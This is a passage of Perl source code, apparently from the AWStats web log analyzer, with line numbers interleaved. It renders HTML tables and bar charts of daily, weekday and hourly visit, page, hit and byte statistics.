                                                                $DayBytes{ $year . $month . $day }
16759
 
                                                          )
16760
 
                                                  )
16761
 
                                                  . " />";
16762
 
                                        }
16763
 
                                        print "</td>\n";
16764
 
                                }
16765
 
                                print "<td>&nbsp;</td>";
16766
 
 
16767
 
                                # Show average value cell
16768
 
                                print "<td>";
16769
 
                                my $bredde_v = 0;
16770
 
                                my $bredde_p = 0;
16771
 
                                my $bredde_h = 0;
16772
 
                                my $bredde_k = 0;
16773
 
                                if ( $max_v > 0 ) {
16774
 
                                        $bredde_v = int( $average_v / $max_v * $BarHeight ) + 1;
16775
 
                                }
16776
 
                                if ( $max_h > 0 ) {
16777
 
                                        $bredde_p = int( $average_p / $max_h * $BarHeight ) + 1;
16778
 
                                }
16779
 
                                if ( $max_h > 0 ) {
16780
 
                                        $bredde_h = int( $average_h / $max_h * $BarHeight ) + 1;
16781
 
                                }
16782
 
                                if ( $max_k > 0 ) {
16783
 
                                        $bredde_k = int( $average_k / $max_k * $BarHeight ) + 1;
16784
 
                                }
16785
 
                                $average_v = sprintf( "%.2f", $average_v );
16786
 
                                $average_p = sprintf( "%.2f", $average_p );
16787
 
                                $average_h = sprintf( "%.2f", $average_h );
16788
 
                                $average_k = (
16789
 
                                        int($average_k)
16790
 
                                        ? Format_Bytes( sprintf( "%.2f", $average_k ) )
16791
 
                                        : "0.00"
16792
 
                                );
16793
 
                                if ( $ShowDaysOfMonthStats =~ /V/i ) {
16794
 
                                        print
16795
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
16796
 
                                          . AltTitle("$Message[10]: $average_v") . " />";
16797
 
                                }
16798
 
                                if ( $ShowDaysOfMonthStats =~ /P/i ) {
16799
 
                                        print
16800
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
16801
 
                                          . AltTitle("$Message[56]: $average_p") . " />";
16802
 
                                }
16803
 
                                if ( $ShowDaysOfMonthStats =~ /H/i ) {
16804
 
                                        print
16805
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
16806
 
                                          . AltTitle("$Message[57]: $average_h") . " />";
16807
 
                                }
16808
 
                                if ( $ShowDaysOfMonthStats =~ /B/i ) {
16809
 
                                        print
16810
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
16811
 
                                          . AltTitle("$Message[75]: $average_k") . " />";
16812
 
                                }
16813
 
                                print "</td>\n";
16814
 
                                print "</tr>\n";
16815
 
 
16816
 
                                # Show lib for day
16817
 
                                print "<tr valign=\"middle\">";
16818
 
                                foreach
16819
 
                                  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16820
 
                                {
16821
 
                                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16822
 
                                        my $year  = $1;
16823
 
                                        my $month = $2;
16824
 
                                        my $day   = $3;
16825
 
                                        if ( !DateIsValid( $day, $month, $year ) ) {
16826
 
                                                next;
16827
 
                                        }    # If not an existing day, go to next
16828
 
                                        my $dayofweekcursor = DayOfWeek( $day, $month, $year );
16829
 
                                        print "<td"
16830
 
                                          . (
16831
 
                                                $dayofweekcursor =~ /[06]/
16832
 
                                                ? " bgcolor=\"#$color_weekend\""
16833
 
                                                : ""
16834
 
                                          )
16835
 
                                          . ">";
16836
 
                                        print(
16837
 
                                                !$StaticLinks
16838
 
                                                  && $day == $nowday
16839
 
                                                  && $month == $nowmonth
16840
 
                                                  && $year == $nowyear
16841
 
                                                ? '<font class="currentday">'
16842
 
                                                : ''
16843
 
                                        );
16844
 
                                        print "$day<br /><span style=\"font-size: "
16845
 
                                          . (    $FrameName ne 'mainright'
16846
 
                                                  && $QueryString !~ /buildpdf/i ? "9" : "8" )
16847
 
                                          . "px;\">"
16848
 
                                          . $MonthNumLib{$month}
16849
 
                                          . "</span>";
16850
 
                                        print(   !$StaticLinks
16851
 
                                                  && $day == $nowday
16852
 
                                                  && $month == $nowmonth
16853
 
                                                  && $year == $nowyear ? '</font>' : '' );
16854
 
                                        print "</td>\n";
16855
 
                                }
16856
 
                                print "<td>&nbsp;</td>";
16857
 
                                print "<td valign=\"middle\""
16858
 
                                  . Tooltip(18)
16859
 
                                  . ">$Message[96]</td>\n";
16860
 
                                print "</tr>\n";
16861
 
                                print "</table>\n";
16862
 
                        }
16863
 
                        print "<br />\n";
16864
 
 
16865
 
                        # Show data array for days
16866
 
                        if ($AddDataArrayShowDaysOfMonthStats) {
16867
 
                                print "<table>\n";
16868
 
                                print
16869
 
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
16870
 
                                if ( $ShowDaysOfMonthStats =~ /V/i ) {
16871
 
                                        print "<td width=\"80\" bgcolor=\"#$color_v\""
16872
 
                                          . Tooltip(1)
16873
 
                                          . ">$Message[10]</td>";
16874
 
                                }
16875
 
                                if ( $ShowDaysOfMonthStats =~ /P/i ) {
16876
 
                                        print "<td width=\"80\" bgcolor=\"#$color_p\""
16877
 
                                          . Tooltip(3)
16878
 
                                          . ">$Message[56]</td>";
16879
 
                                }
16880
 
                                if ( $ShowDaysOfMonthStats =~ /H/i ) {
16881
 
                                        print "<td width=\"80\" bgcolor=\"#$color_h\""
16882
 
                                          . Tooltip(4)
16883
 
                                          . ">$Message[57]</td>";
16884
 
                                }
16885
 
                                if ( $ShowDaysOfMonthStats =~ /B/i ) {
16886
 
                                        print "<td width=\"80\" bgcolor=\"#$color_k\""
16887
 
                                          . Tooltip(5)
16888
 
                                          . ">$Message[75]</td>";
16889
 
                                }
16890
 
                                print "</tr>";
16891
 
                                foreach
16892
 
                                  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16893
 
                                {
16894
 
                                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16895
 
                                        my $year  = $1;
16896
 
                                        my $month = $2;
16897
 
                                        my $day   = $3;
16898
 
                                        if ( !DateIsValid( $day, $month, $year ) ) {
16899
 
                                                next;
16900
 
                                        }    # If not an existing day, go to next
16901
 
                                        my $dayofweekcursor = DayOfWeek( $day, $month, $year );
16902
 
                                        print "<tr"
16903
 
                                          . (
16904
 
                                                $dayofweekcursor =~ /[06]/
16905
 
                                                ? " bgcolor=\"#$color_weekend\""
16906
 
                                                : ""
16907
 
                                          )
16908
 
                                          . ">";
16909
 
                                        print "<td>"
16910
 
                                          . (
16911
 
                                                !$StaticLinks
16912
 
                                                  && $day == $nowday
16913
 
                                                  && $month == $nowmonth
16914
 
                                                  && $year == $nowyear
16915
 
                                                ? '<font class="currentday">'
16916
 
                                                : ''
16917
 
                                          );
16918
 
                                        print Format_Date( "$year$month$day" . "000000", 2 );
16919
 
                                        print(   !$StaticLinks
16920
 
                                                  && $day == $nowday
16921
 
                                                  && $month == $nowmonth
16922
 
                                                  && $year == $nowyear ? '</font>' : '' );
16923
 
                                        print "</td>";
16924
 
                                        if ( $ShowDaysOfMonthStats =~ /V/i ) {
16925
 
                                                print "<td>",
16926
 
                                                  $DayVisits{ $year . $month . $day }
16927
 
                                                  ? $DayVisits{ $year . $month . $day }
16928
 
                                                  : "0", "</td>";
16929
 
                                        }
16930
 
                                        if ( $ShowDaysOfMonthStats =~ /P/i ) {
16931
 
                                                print "<td>",
16932
 
                                                  $DayPages{ $year . $month . $day }
16933
 
                                                  ? $DayPages{ $year . $month . $day }
16934
 
                                                  : "0", "</td>";
16935
 
                                        }
16936
 
                                        if ( $ShowDaysOfMonthStats =~ /H/i ) {
16937
 
                                                print "<td>",
16938
 
                                                  $DayHits{ $year . $month . $day }
16939
 
                                                  ? $DayHits{ $year . $month . $day }
16940
 
                                                  : "0", "</td>";
16941
 
                                        }
16942
 
                                        if ( $ShowDaysOfMonthStats =~ /B/i ) {
16943
 
                                                print "<td>",
16944
 
                                                  Format_Bytes(
16945
 
                                                        int( $DayBytes{ $year . $month . $day } || 0 ) ),
16946
 
                                                  "</td>";
16947
 
                                        }
16948
 
                                        print "</tr>\n";
16949
 
                                }
16950
 
 
16951
 
                                # Average row
16952
 
                                print
16953
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>";
16954
 
                                if ( $ShowDaysOfMonthStats =~ /V/i ) {
16955
 
                                        print "<td>$average_v</td>";
16956
 
                                }
16957
 
                                if ( $ShowDaysOfMonthStats =~ /P/i ) {
16958
 
                                        print "<td>$average_p</td>";
16959
 
                                }
16960
 
                                if ( $ShowDaysOfMonthStats =~ /H/i ) {
16961
 
                                        print "<td>$average_h</td>";
16962
 
                                }
16963
 
                                if ( $ShowDaysOfMonthStats =~ /B/i ) {
16964
 
                                        print "<td>$average_k</td>";
16965
 
                                }
16966
 
                                print "</tr>\n";
16967
 
 
16968
 
                                # Total row
16969
 
                                print
16970
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>";
16971
 
                                if ( $ShowDaysOfMonthStats =~ /V/i ) {
16972
 
                                        print "<td>$total_v</td>";
16973
 
                                }
16974
 
                                if ( $ShowDaysOfMonthStats =~ /P/i ) {
16975
 
                                        print "<td>$total_p</td>";
16976
 
                                }
16977
 
                                if ( $ShowDaysOfMonthStats =~ /H/i ) {
16978
 
                                        print "<td>$total_h</td>";
16979
 
                                }
16980
 
                                if ( $ShowDaysOfMonthStats =~ /B/i ) {
16981
 
                                        print "<td>" . Format_Bytes($total_k) . "</td>";
16982
 
                                }
16983
 
                                print "</tr>\n";
16984
 
                                print "</table>\n<br />";
16985
 
                        }
16986
 
 
16987
 
                        print "</center>\n";
16988
 
                        print "</td></tr>\n";
16989
 
                        &tab_end();
16990
 
                }
16991
 
 
16992
 
                # BY DAY OF WEEK
16993
 
                #-------------------------
16994
 
                if ($ShowDaysOfWeekStats) {
16995
 
                        if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); }
16996
 
                        print "$Center<a name=\"daysofweek\">&nbsp;</a><br />\n";
16997
 
                        my $title = "$Message[91]";
16998
 
                        &tab_head( "$title", 18, 0, 'daysofweek' );
16999
 
                        print "<tr>";
17000
 
                        print "<td align=\"center\">";
17001
 
                        print "<center>\n";
17002
 
 
17003
 
                        $max_h = $max_k = 0;    # Start from 0 because can be lower than 1
17004
 
                                                # Get average value for day of week
17005
 
                        my @avg_dayofweek_nb = ();
17006
 
                        my @avg_dayofweek_p  = ();
17007
 
                        my @avg_dayofweek_h  = ();
17008
 
                        my @avg_dayofweek_k  = ();
17009
 
                        foreach my $daycursor (
17010
 
                                $firstdaytocountaverage .. $lastdaytocountaverage )
17011
 
                        {
17012
 
                                $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
17013
 
                                my $year  = $1;
17014
 
                                my $month = $2;
17015
 
                                my $day   = $3;
17016
 
                                if ( !DateIsValid( $day, $month, $year ) ) {
17017
 
                                        next;
17018
 
                                }    # If not an existing day, go to next
17019
 
                                my $dayofweekcursor = DayOfWeek( $day, $month, $year );
17020
 
                                $avg_dayofweek_nb[$dayofweekcursor]
17021
 
                                  ++; # Increase number of day used to count for this day of week
17022
 
                                $avg_dayofweek_p[$dayofweekcursor] +=
17023
 
                                  ( $DayPages{$daycursor} || 0 );
17024
 
                                $avg_dayofweek_h[$dayofweekcursor] +=
17025
 
                                  ( $DayHits{$daycursor} || 0 );
17026
 
                                $avg_dayofweek_k[$dayofweekcursor] +=
17027
 
                                  ( $DayBytes{$daycursor} || 0 );
17028
 
                        }
17029
 
                        for (@DOWIndex) {
17030
 
                                if ( $avg_dayofweek_nb[$_] ) {
17031
 
                                        $avg_dayofweek_p[$_] =
17032
 
                                          $avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_];
17033
 
                                        $avg_dayofweek_h[$_] =
17034
 
                                          $avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_];
17035
 
                                        $avg_dayofweek_k[$_] =
17036
 
                                          $avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_];
17037
 
 
17038
 
                  #if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; }
17039
 
                                        if ( $avg_dayofweek_h[$_] > $max_h ) {
17040
 
                                                $max_h = $avg_dayofweek_h[$_];
17041
 
                                        }
17042
 
                                        if ( $avg_dayofweek_k[$_] > $max_k ) {
17043
 
                                                $max_k = $avg_dayofweek_k[$_];
17044
 
                                        }
17045
 
                                }
17046
 
                                else {
17047
 
                                        $avg_dayofweek_p[$_] = "?";
17048
 
                                        $avg_dayofweek_h[$_] = "?";
17049
 
                                        $avg_dayofweek_k[$_] = "?";
17050
 
                                }
17051
 
                        }
17052
 
 
17053
 
                        # Show bars for days of week
17054
 
                        if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
17055
 
                                my @blocklabel = ();
17056
 
                                for (@DOWIndex) {
17057
 
                                        push @blocklabel,
17058
 
                                          ( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) );
17059
 
                                }
17060
 
                                my @vallabel =
17061
 
                                  ( "$Message[56]", "$Message[57]", "$Message[75]" );
17062
 
                                my @valcolor = ( "$color_p", "$color_h", "$color_k" );
17063
 
                                my @valmax = ( int($max_h), int($max_h), int($max_k) );
17064
 
                                my @valtotal = ( $total_p, $total_h, $total_k );
17065
 
                                $average_p = sprintf( "%.2f", $average_p );
17066
 
                                $average_h = sprintf( "%.2f", $average_h );
17067
 
                                $average_k = (
17068
 
                                        int($average_k)
17069
 
                                        ? Format_Bytes( sprintf( "%.2f", $average_k ) )
17070
 
                                        : "0.00"
17071
 
                                );
17072
 
                                my @valaverage = ( $average_p, $average_h, $average_k );
17073
 
                                my @valdata    = ();
17074
 
                                my $xx         = 0;
17075
 
 
17076
 
                                for (@DOWIndex) {
17077
 
                                        $valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0;
17078
 
                                        $valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0;
17079
 
                                        $valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0;
17080
 
 
17081
 
                                        # Round to be ready to show array
17082
 
                                        $avg_dayofweek_p[$_] =
17083
 
                                          sprintf( "%.2f", $avg_dayofweek_p[$_] );
17084
 
                                        $avg_dayofweek_h[$_] =
17085
 
                                          sprintf( "%.2f", $avg_dayofweek_h[$_] );
17086
 
                                        $avg_dayofweek_k[$_] =
17087
 
                                          sprintf( "%.2f", $avg_dayofweek_k[$_] );
17088
 
 
17089
 
                                        # Remove decimal part that are .0
17090
 
                                        if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
17091
 
                                                $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
17092
 
                                        }
17093
 
                                        if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
17094
 
                                                $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
17095
 
                                        }
17096
 
                                }
17097
 
                                ShowGraph_graphapplet(
17098
 
                                        "$title",             "daysofweek",
17099
 
                                        $ShowDaysOfWeekStats, \@blocklabel,
17100
 
                                        \@vallabel,           \@valcolor,
17101
 
                                        \@valmax,             \@valtotal,
17102
 
                                        \@valaverage,         \@valdata
17103
 
                                );
17104
 
                        }
17105
 
                        else {
17106
 
                                print "<table>\n";
17107
 
                                print "<tr valign=\"bottom\">\n";
17108
 
                                for (@DOWIndex) {
17109
 
                                        my $bredde_p = 0;
17110
 
                                        my $bredde_h = 0;
17111
 
                                        my $bredde_k = 0;
17112
 
                                        if ( $max_h > 0 ) {
17113
 
                                                $bredde_p = int(
17114
 
                                                        (
17115
 
                                                                  $avg_dayofweek_p[$_] ne '?'
17116
 
                                                                ? $avg_dayofweek_p[$_]
17117
 
                                                                : 0
17118
 
                                                        ) / $max_h * $BarHeight
17119
 
                                                ) + 1;
17120
 
                                        }
17121
 
                                        if ( $max_h > 0 ) {
17122
 
                                                $bredde_h = int(
17123
 
                                                        (
17124
 
                                                                  $avg_dayofweek_h[$_] ne '?'
17125
 
                                                                ? $avg_dayofweek_h[$_]
17126
 
                                                                : 0
17127
 
                                                        ) / $max_h * $BarHeight
17128
 
                                                ) + 1;
17129
 
                                        }
17130
 
                                        if ( $max_k > 0 ) {
17131
 
                                                $bredde_k = int(
17132
 
                                                        (
17133
 
                                                                  $avg_dayofweek_k[$_] ne '?'
17134
 
                                                                ? $avg_dayofweek_k[$_]
17135
 
                                                                : 0
17136
 
                                                        ) / $max_k * $BarHeight
17137
 
                                                ) + 1;
17138
 
                                        }
17139
 
                                        $avg_dayofweek_p[$_] = sprintf(
17140
 
                                                "%.2f",
17141
 
                                                (
17142
 
                                                          $avg_dayofweek_p[$_] ne '?'
17143
 
                                                        ? $avg_dayofweek_p[$_]
17144
 
                                                        : 0
17145
 
                                                )
17146
 
                                        );
17147
 
                                        $avg_dayofweek_h[$_] = sprintf(
17148
 
                                                "%.2f",
17149
 
                                                (
17150
 
                                                          $avg_dayofweek_h[$_] ne '?'
17151
 
                                                        ? $avg_dayofweek_h[$_]
17152
 
                                                        : 0
17153
 
                                                )
17154
 
                                        );
17155
 
                                        $avg_dayofweek_k[$_] = sprintf(
17156
 
                                                "%.2f",
17157
 
                                                (
17158
 
                                                          $avg_dayofweek_k[$_] ne '?'
17159
 
                                                        ? $avg_dayofweek_k[$_]
17160
 
                                                        : 0
17161
 
                                                )
17162
 
                                        );
17163
 
 
17164
 
                                        # Remove decimal part that are .0
17165
 
                                        if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
17166
 
                                                $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
17167
 
                                        }
17168
 
                                        if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
17169
 
                                                $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
17170
 
                                        }
17171
 
                                        print "<td valign=\"bottom\">";
17172
 
                                        if ( $ShowDaysOfWeekStats =~ /P/i ) {
17173
 
                                                print
17174
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
17175
 
                                                  . AltTitle("$Message[56]: $avg_dayofweek_p[$_]")
17176
 
                                                  . " />";
17177
 
                                        }
17178
 
                                        if ( $ShowDaysOfWeekStats =~ /H/i ) {
17179
 
                                                print
17180
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
17181
 
                                                  . AltTitle("$Message[57]: $avg_dayofweek_h[$_]")
17182
 
                                                  . " />";
17183
 
                                        }
17184
 
                                        if ( $ShowDaysOfWeekStats =~ /B/i ) {
17185
 
                                                print
17186
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
17187
 
                                                  . AltTitle( "$Message[75]: "
17188
 
                                                          . Format_Bytes( $avg_dayofweek_k[$_] ) )
17189
 
                                                  . " />";
17190
 
                                        }
17191
 
                                        print "</td>\n";
17192
 
                                }
17193
 
                                print "</tr>\n";
17194
 
                                print "<tr" . Tooltip(17) . ">\n";
17195
 
                                for (@DOWIndex) {
17196
 
                                        print "<td"
17197
 
                                          . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
17198
 
                                          . ">"
17199
 
                                          . (
17200
 
                                                !$StaticLinks
17201
 
                                                  && $_ == ( $nowwday - 1 )
17202
 
                                                  && $MonthRequired == $nowmonth
17203
 
                                                  && $YearRequired == $nowyear
17204
 
                                                ? '<font class="currentday">'
17205
 
                                                : ''
17206
 
                                          );
17207
 
                                        print $Message[ $_ + 84 ];
17208
 
                                        print(   !$StaticLinks
17209
 
                                                  && $_ == ( $nowwday - 1 )
17210
 
                                                  && $MonthRequired == $nowmonth
17211
 
                                                  && $YearRequired == $nowyear ? '</font>' : '' );
17212
 
                                        print "</td>";
17213
 
                                }
17214
 
                                print "</tr>\n</table>\n";
17215
 
                        }
17216
 
                        print "<br />\n";
17217
 
 
17218
 
                        # Show data array for days of week
17219
 
                        if ($AddDataArrayShowDaysOfWeekStats) {
17220
 
                                print "<table>\n";
17221
 
                                print
17222
 
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
17223
 
                                if ( $ShowDaysOfWeekStats =~ /P/i ) {
17224
 
                                        print "<td width=\"80\" bgcolor=\"#$color_p\""
17225
 
                                          . Tooltip(3)
17226
 
                                          . ">$Message[56]</td>";
17227
 
                                }
17228
 
                                if ( $ShowDaysOfWeekStats =~ /H/i ) {
17229
 
                                        print "<td width=\"80\" bgcolor=\"#$color_h\""
17230
 
                                          . Tooltip(4)
17231
 
                                          . ">$Message[57]</td>";
17232
 
                                }
17233
 
                                if ( $ShowDaysOfWeekStats =~ /B/i ) {
17234
 
                                        print "<td width=\"80\" bgcolor=\"#$color_k\""
17235
 
                                          . Tooltip(5)
17236
 
                                          . ">$Message[75]</td></tr>";
17237
 
                                }
17238
 
                                for (@DOWIndex) {
17239
 
                                        print "<tr"
17240
 
                                          . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
17241
 
                                          . ">";
17242
 
                                        print "<td>"
17243
 
                                          . (
17244
 
                                                !$StaticLinks
17245
 
                                                  && $_ == ( $nowwday - 1 )
17246
 
                                                  && $MonthRequired == $nowmonth
17247
 
                                                  && $YearRequired == $nowyear
17248
 
                                                ? '<font class="currentday">'
17249
 
                                                : ''
17250
 
                                          );
17251
 
                                        print $Message[ $_ + 84 ];
17252
 
                                        print(   !$StaticLinks
17253
 
                                                  && $_ == ( $nowwday - 1 )
17254
 
                                                  && $MonthRequired == $nowmonth
17255
 
                                                  && $YearRequired == $nowyear ? '</font>' : '' );
17256
 
                                        print "</td>";
17257
 
                                        if ( $ShowDaysOfWeekStats =~ /P/i ) {
17258
 
                                                print "<td>", $avg_dayofweek_p[$_], "</td>";
17259
 
                                        }
17260
 
                                        if ( $ShowDaysOfWeekStats =~ /H/i ) {
17261
 
                                                print "<td>", $avg_dayofweek_h[$_], "</td>";
17262
 
                                        }
17263
 
                                        if ( $ShowDaysOfWeekStats =~ /B/i ) {
17264
 
                                                print "<td>", Format_Bytes( $avg_dayofweek_k[$_] ),
17265
 
                                                  "</td>";
17266
 
                                        }
17267
 
                                        print "</tr>\n";
17268
 
                                }
17269
 
                                print "</table>\n<br />\n";
17270
 
                        }
17271
 
 
17272
 
                        print "</center></td>";
17273
 
                        print "</tr>\n";
17274
 
                        &tab_end();
17275
 
                }
17276
 
 
17277
 
                # BY HOUR
17278
 
                #----------------------------
17279
 
                if ($ShowHoursStats) {
17280
 
                        if ($Debug) { debug( "ShowHoursStats", 2 ); }
17281
 
                        print "$Center<a name=\"hours\">&nbsp;</a><br />\n";
17282
 
                        my $title = "$Message[20]";
17283
 
                        if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) {
17284
 
                                $title .= " (GMT "
17285
 
                                  . ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" )
17286
 
                                  . int( GetTimeZoneTitle_timezone() ) . ")";
17287
 
                        }
17288
 
                        &tab_head( "$title", 19, 0, 'hours' );
17289
 
                        print "<tr><td align=\"center\">\n";
17290
 
                        print "<center>\n";
17291
 
 
17292
 
                        $max_h = $max_k = 1;
17293
 
                        for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17294
 
 
17295
 
                                #if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; }
17296
 
                                if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; }
17297
 
                                if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; }
17298
 
                        }
17299
 
 
17300
 
                        # Show bars for hour
17301
 
                        if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
17302
 
                                my @blocklabel = ( 0 .. 23 );
17303
 
                                my @vallabel   =
17304
 
                                  ( "$Message[56]", "$Message[57]", "$Message[75]" );
17305
 
                                my @valcolor = ( "$color_p", "$color_h", "$color_k" );
17306
 
                                my @valmax = ( int($max_h), int($max_h), int($max_k) );
17307
 
                                my @valtotal   = ( $total_p,   $total_h,   $total_k );
17308
 
                                my @valaverage = ( $average_p, $average_h, $average_k );
17309
 
                                my @valdata    = ();
17310
 
                                my $xx         = 0;
17311
 
                                for ( 0 .. 23 ) {
17312
 
                                        $valdata[ $xx++ ] = $_time_p[$_] || 0;
17313
 
                                        $valdata[ $xx++ ] = $_time_h[$_] || 0;
17314
 
                                        $valdata[ $xx++ ] = $_time_k[$_] || 0;
17315
 
                                }
17316
 
                                ShowGraph_graphapplet(
17317
 
                                        "$title",        "hours",
17318
 
                                        $ShowHoursStats, \@blocklabel,
17319
 
                                        \@vallabel,      \@valcolor,
17320
 
                                        \@valmax,        \@valtotal,
17321
 
                                        \@valaverage,    \@valdata
17322
 
                                );
17323
 
                        }
17324
 
                        else {
17325
 
                                print "<table>\n";
17326
 
                                print "<tr valign=\"bottom\">\n";
17327
 
                                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17328
 
                                        my $bredde_p = 0;
17329
 
                                        my $bredde_h = 0;
17330
 
                                        my $bredde_k = 0;
17331
 
                                        if ( $max_h > 0 ) {
17332
 
                                                $bredde_p =
17333
 
                                                  int( $BarHeight * $_time_p[$ix] / $max_h ) + 1;
17334
 
                                        }
17335
 
                                        if ( $max_h > 0 ) {
17336
 
                                                $bredde_h =
17337
 
                                                  int( $BarHeight * $_time_h[$ix] / $max_h ) + 1;
17338
 
                                        }
17339
 
                                        if ( $max_k > 0 ) {
17340
 
                                                $bredde_k =
17341
 
                                                  int( $BarHeight * $_time_k[$ix] / $max_k ) + 1;
17342
 
                                        }
17343
 
                                        print "<td>";
17344
 
                                        if ( $ShowHoursStats =~ /P/i ) {
17345
 
                                                print
17346
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
17347
 
                                                  . AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) )
17348
 
                                                  . " />";
17349
 
                                        }
17350
 
                                        if ( $ShowHoursStats =~ /H/i ) {
17351
 
                                                print
17352
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
17353
 
                                                  . AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) )
17354
 
                                                  . " />";
17355
 
                                        }
17356
 
                                        if ( $ShowHoursStats =~ /B/i ) {
17357
 
                                                print
17358
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
17359
 
                                                  . AltTitle(
17360
 
                                                        "$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
17361
 
                                                  . " />";
17362
 
                                        }
17363
 
                                        print "</td>\n";
17364
 
                                }
17365
 
                                print "</tr>\n";
17366
 
 
17367
 
                                # Show hour lib
17368
 
                                print "<tr" . Tooltip(17) . ">";
17369
 
                                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17370
 
                                        print "<th width=\"19\">$ix</th>\n"
17371
 
                                          ;   # width=19 instead of 18 to avoid a MacOS browser bug.
17372
 
                                }
17373
 
                                print "</tr>\n";
17374
 
 
17375
 
                                # Show clock icon
17376
 
                                print "<tr" . Tooltip(17) . ">\n";
17377
 
                                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17378
 
                                        my $hrs = ( $ix >= 12 ? $ix - 12 : $ix );
17379
 
                                        my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 );
17380
 
                                        my $apm = ( $ix >= 12 ? "pm"     : "am" );
17381
 
                                        print
17382
 
"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n";
17383
 
                                }
17384
 
                                print "</tr>\n";
17385
 
                                print "</table>\n";
17386
 
                        }
17387
 
                        print "<br />\n";
17388
 
 
17389
 
                        # Show data array for hours
17390
 
                        if ($AddDataArrayShowHoursStats) {
17391
 
                                print "<table width=\"650\"><tr>\n";
17392
 
                                print "<td align=\"center\"><center>\n";
17393
 
 
17394
 
                                print "<table>\n";
17395
 
                                print
17396
 
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
17397
 
                                if ( $ShowHoursStats =~ /P/i ) {
17398
 
                                        print "<td width=\"80\" bgcolor=\"#$color_p\""
17399
 
                                          . Tooltip(3)
17400
 
                                          . ">$Message[56]</td>";
17401
 
                                }
17402
 
                                if ( $ShowHoursStats =~ /H/i ) {
17403
 
                                        print "<td width=\"80\" bgcolor=\"#$color_h\""
17404
 
                                          . Tooltip(4)
17405
 
                                          . ">$Message[57]</td>";
17406
 
                                }
17407
 
                                if ( $ShowHoursStats =~ /B/i ) {
17408
 
                                        print "<td width=\"80\" bgcolor=\"#$color_k\""
17409
 
                                          . Tooltip(5)
17410
 
                                          . ">$Message[75]</td>";
17411
 
                                }
17412
 
                                print "</tr>";
17413
 
                                for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) {
17414
 
                                        my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
17415
 
                                        print "<tr>";
17416
 
                                        print "<td>$monthix</td>";
17417
 
                                        if ( $ShowHoursStats =~ /P/i ) {
17418
 
                                                print "<td>",
17419
 
                                                  $_time_p[$monthix] ? $_time_p[$monthix] : "0",
17420
 
                                                  "</td>";
17421
 
                                        }
17422
 
                                        if ( $ShowHoursStats =~ /H/i ) {
17423
 
                                                print "<td>",
17424
 
                                                  $_time_h[$monthix] ? $_time_h[$monthix] : "0",
17425
 
